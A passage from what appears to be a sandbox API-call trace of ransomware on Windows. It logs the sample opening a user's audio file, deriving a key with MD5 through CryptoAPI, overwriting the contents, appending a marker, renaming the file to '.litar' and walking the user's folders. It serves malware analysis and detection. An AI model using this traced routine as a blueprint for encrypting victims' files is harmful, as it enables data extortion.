(normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\ztvnij62y31ygd\\yjf_dr\\_is6dqkxrixdfj5-\\oiipvpikepb.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0127.209] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x398fb4c | out: lpFileSize=0x398fb4c*=15194) returned 1 [0127.209] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1f30000 [0127.211] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x3b34, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.211] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x398fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb7c*=0x26, lpOverlapped=0x0) returned 1 [0127.212] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x30380b0 [0127.212] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0127.212] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0127.213] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x398fb78, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb78*=0x3b5a, lpOverlapped=0x0) returned 1 [0127.213] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0127.213] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x25) returned 0x3074a20 [0127.213] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0127.213] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0127.213] CryptAcquireContextW (in: phProv=0x398fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x398fa94*=0x6a07c8) returned 1 [0127.214] CryptCreateHash (in: hProv=0x6a07c8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x398fa9c | out: phHash=0x398fa9c) returned 1 [0127.214] CryptHashData (hHash=0x306c8e0, pbData=0x3074a20, dwDataLen=0x25, dwFlags=0x0) returned 1 [0127.214] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x398fa98) returned 1 [0127.214] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x11) returned 0x3044390 [0127.214] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x3044390, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x3044390, pdwDataLen=0x398fa98) returned 1 [0127.214] GetLastError () returned 0x0 [0127.214] CryptDestroyHash (hHash=0x306c8e0) returned 1 [0127.214] CryptReleaseContext (hProv=0x6a07c8, dwFlags=0x0) returned 1 [0127.214] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074a20 | out: hHeap=0x5c0000) returned 1 [0127.214] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x3b60) returned 0x30fa0b0 [0127.214] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0127.214] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0127.215] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0x3b55, lpNumberOfBytesWritten=0x398fb24, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb24*=0x3b55, lpOverlapped=0x0) returned 1 [0127.215] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0127.215] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x3b5a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.215] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8edc0 [0127.215] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x428) returned 0x30557d8 [0127.215] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", cchWideChar=-1, lpMultiByteStr=0x30557d8, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", lpUsedDefaultChar=0x0) returned 41 [0127.215] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x430) returned 0x30fa0b0 [0127.215] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30557d8 | out: hHeap=0x5c0000) returned 1 [0127.215] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8edc0 | out: hHeap=0x5c0000) returned 1 [0127.215] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb2c*=0x28, lpOverlapped=0x0) returned 1 [0127.215] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0127.215] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0127.215] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x398fb2c*=0x26, lpOverlapped=0x0) returned 1 [0127.215] CloseHandle (hObject=0x624) returned 1 [0127.216] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc0) returned 0x3020a70 [0127.216] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x8d0) returned 0x30fa0b0 [0127.216] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3020a70 | out: hHeap=0x5c0000) returned 1 [0127.216] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\zTvNij62y31ygD\\YJf_dR\\_IS6dQkXRiXDfJ5-\\OIIPvpIKePb.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\ztvnij62y31ygd\\yjf_dr\\_is6dqkxrixdfj5-\\oiipvpikepb.wav"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\zTvNij62y31ygD\\YJf_dR\\_IS6dQkXRiXDfJ5-\\OIIPvpIKePb.wav.litar" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\ztvnij62y31ygd\\yjf_dr\\_is6dqkxrixdfj5-\\oiipvpikepb.wav.litar")) returned 1 [0127.216] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0127.216] VirtualFree (lpAddress=0x1f30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0127.217] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6aef38 | out: hHeap=0x5c0000) returned 1 [0127.217] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa6decb50, ftCreationTime.dwHighDateTime=0x1d4d517, ftLastAccessTime.dwLowDateTime=0x87f75090, ftLastAccessTime.dwHighDateTime=0x1d4cf81, ftLastWriteTime.dwLowDateTime=0x87f75090, ftLastWriteTime.dwHighDateTime=0x1d4cf81, nFileSizeHigh=0x0, nFileSizeLow=0x3b5a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="OIIPvpIKePb.wav", cAlternateFileName="OIIPVP~1.WAV")) returned 0 [0127.217] FindClose (in: hFindFile=0x306c8a0 | out: hFindFile=0x306c8a0) returned 1 [0127.218] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3037fd0 | out: hHeap=0x5c0000) returned 1 [0127.218] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bcf18 | out: hHeap=0x5c0000) returned 1 [0127.218] PeekMessageW (in: lpMsg=0x398ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398ff08) returned 0 [0127.218] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bcf18 [0127.218] PeekMessageW (in: lpMsg=0x398fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398fb74) returned 0 [0127.218] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bcfc0 [0127.218] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0127.218] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.218] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bcfc0 | out: hHeap=0x5c0000) returned 1 [0127.218] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bcfc0 [0127.218] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0127.218] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.218] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bcfc0 | out: hHeap=0x5c0000) returned 1 [0127.218] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bcfc0 [0127.218] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0127.218] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.218] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bcfc0 | out: hHeap=0x5c0000) returned 1 [0127.218] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bcfc0 [0127.218] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0127.218] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.218] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bcfc0 | out: hHeap=0x5c0000) returned 1 [0127.218] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bcfc0 [0127.218] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0127.218] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.218] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bcfc0 | out: hHeap=0x5c0000) returned 1 [0127.218] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bcfc0 [0127.218] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0127.218] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.218] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bcfc0 | out: hHeap=0x5c0000) returned 1 [0127.218] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bcfc0 [0127.219] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0127.219] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc2e) returned 0x30f90a8 [0127.219] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.219] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0127.219] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bcfc0 | out: hHeap=0x5c0000) returned 1 [0127.219] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bcfc0 [0127.219] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0127.219] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.219] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bcfc0 | out: hHeap=0x5c0000) returned 1 [0127.219] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bcfc0 [0127.219] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0127.219] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.219] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bcfc0 | out: hHeap=0x5c0000) returned 1 [0127.219] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bcfc0 [0127.219] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0127.219] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0127.219] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bcfc0 | out: hHeap=0x5c0000) returned 1 [0127.219] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bcfc0 [0127.219] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0127.219] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0127.219] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bcfc0 | out: hHeap=0x5c0000) returned 1 [0127.219] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bcfc0 [0127.219] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0127.219] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.219] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bcfc0 | out: hHeap=0x5c0000) returned 1 [0127.219] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bcfc0 [0127.219] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0127.219] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.219] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bcfc0 | out: hHeap=0x5c0000) returned 1 [0127.219] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bcfc0 [0127.220] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0127.220] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.220] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bcfc0 | out: hHeap=0x5c0000) returned 1 [0127.220] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bcfc0 [0127.220] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0127.220] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.220] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bcfc0 | out: hHeap=0x5c0000) returned 1 [0127.220] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bcfc0 [0127.220] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0127.220] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.220] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bcfc0 | out: hHeap=0x5c0000) returned 1 [0127.220] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bcfc0 [0127.220] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0127.220] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.220] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bcfc0 | out: hHeap=0x5c0000) returned 1 [0127.220] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bcfc0 [0127.220] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0127.220] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.220] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bcfc0 | out: hHeap=0x5c0000) returned 1 [0127.220] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bcfc0 [0127.220] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0127.220] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.220] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bcfc0 | out: hHeap=0x5c0000) returned 1 [0127.220] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bcfc0 [0127.220] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0127.220] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.220] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bcfc0 | out: hHeap=0x5c0000) returned 1 [0127.220] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bcfc0 [0127.220] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0127.220] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.221] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bcfc0 | out: hHeap=0x5c0000) returned 1 [0127.221] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bcfc0 [0127.221] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0127.221] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.221] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bcfc0 | out: hHeap=0x5c0000) returned 1 [0127.221] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bcfc0 [0127.221] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0127.221] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0127.221] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.221] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0127.221] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bcfc0 | out: hHeap=0x5c0000) returned 1 [0127.221] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bcfc0 [0127.221] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0127.221] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.221] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bcfc0 | out: hHeap=0x5c0000) returned 1 [0127.221] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bcfc0 [0127.221] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0127.221] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc2e) returned 0x30f90a8 [0127.221] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.221] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0127.221] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\nEqZA\\KpZlD4zquX\\YHJDNsTm70ISLDguQKA\\") returned="YHJDNsTm70ISLDguQKA\\" [0127.221] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x3037fd0 [0127.221] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a07c8 [0127.221] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\nEqZA\\KpZlD4zquX\\") returned="KpZlD4zquX\\" [0127.221] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\nEqZA\\") returned="nEqZA\\" [0127.221] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\") returned="Pictures\\" [0127.221] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0127.222] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0127.222] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0127.222] PathFindFileNameW (pszPath="") returned="" [0127.222] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\nEqZA\\KpZlD4zquX\\YHJDNsTm70ISLDguQKA\\*", lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3860ff30, ftCreationTime.dwHighDateTime=0x1d4c929, ftLastAccessTime.dwLowDateTime=0x9acc8890, ftLastAccessTime.dwHighDateTime=0x1d4d5a6, ftLastWriteTime.dwLowDateTime=0x9acc8890, ftLastWriteTime.dwHighDateTime=0x1d4d5a6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x306c8a0 [0127.222] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3860ff30, ftCreationTime.dwHighDateTime=0x1d4c929, ftLastAccessTime.dwLowDateTime=0x9acc8890, ftLastAccessTime.dwHighDateTime=0x1d4d5a6, ftLastWriteTime.dwLowDateTime=0x9acc8890, ftLastWriteTime.dwHighDateTime=0x1d4d5a6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0127.222] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3860ff30, ftCreationTime.dwHighDateTime=0x1d4c929, ftLastAccessTime.dwLowDateTime=0x9acc8890, ftLastAccessTime.dwHighDateTime=0x1d4d5a6, ftLastWriteTime.dwLowDateTime=0x9acc8890, ftLastWriteTime.dwHighDateTime=0x1d4d5a6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0127.222] FindClose (in: hFindFile=0x306c8a0 | out: hFindFile=0x306c8a0) returned 1 [0127.222] PeekMessageW (in: lpMsg=0x398ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398ff08) returned 0 [0127.222] PeekMessageW (in: lpMsg=0x398fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398fb74) returned 0 [0127.222] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\nEqZA\\KpZlD4zquX\\ZvT6vaWh-93ETSX\\") returned="ZvT6vaWh-93ETSX\\" [0127.222] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\nEqZA\\KpZlD4zquX\\") returned="KpZlD4zquX\\" [0127.222] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\nEqZA\\") returned="nEqZA\\" [0127.222] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\") returned="Pictures\\" [0127.222] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0127.222] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0127.223] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0127.223] PathFindFileNameW (pszPath="") returned="" [0127.223] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\nEqZA\\KpZlD4zquX\\ZvT6vaWh-93ETSX\\*", lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3592ca80, ftCreationTime.dwHighDateTime=0x1d4d3de, ftLastAccessTime.dwLowDateTime=0x55192870, ftLastAccessTime.dwHighDateTime=0x1d4d291, ftLastWriteTime.dwLowDateTime=0x55192870, ftLastWriteTime.dwHighDateTime=0x1d4d291, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x306c8a0 [0127.223] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3592ca80, ftCreationTime.dwHighDateTime=0x1d4d3de, ftLastAccessTime.dwLowDateTime=0x55192870, ftLastAccessTime.dwHighDateTime=0x1d4d291, ftLastWriteTime.dwLowDateTime=0x55192870, ftLastWriteTime.dwHighDateTime=0x1d4d291, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0127.223] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3592ca80, ftCreationTime.dwHighDateTime=0x1d4d3de, ftLastAccessTime.dwLowDateTime=0x55192870, ftLastAccessTime.dwHighDateTime=0x1d4d291, ftLastWriteTime.dwLowDateTime=0x55192870, ftLastWriteTime.dwHighDateTime=0x1d4d291, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0127.223] 